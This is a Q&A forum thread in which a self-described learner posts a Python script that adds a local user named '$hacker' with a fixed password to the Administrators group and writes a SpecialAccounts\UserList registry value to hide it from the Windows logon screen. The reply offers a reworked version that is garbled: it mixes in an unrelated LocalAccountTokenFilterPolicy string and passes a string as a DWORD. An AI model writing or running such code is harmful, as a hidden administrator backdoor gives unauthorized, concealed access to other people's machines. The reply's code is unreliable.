danielraveh
danielraveh

Reputation: 11

Creating a new DWORD with Python

Hello guys I am trying to teach myself more python than my college does and im trying to create python file to the bash file ive created once. The bash file is supposed to open a new user on 'net users' named $hacker and afterwards hide it on Registory. The try is working good and im getting all of the prints i asked when everything is complete but for some reason the DWORD wasnt created (two keys as well) Hope someone will know what am I doing wrong !

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',0,w.REG_DWORD, 0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

Upvotes: 0

Views: 643

Answers (1)

Ashfaque Ali Solangi
Ashfaque Ali Solangi

Reputation: 1891

Try below

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key, 'NewSubkey', wreg.REG_SZ, 'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key, 'ValueName', 0, wreg.REG_DWORD, '0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit() 

Upvotes: 0

Related Questions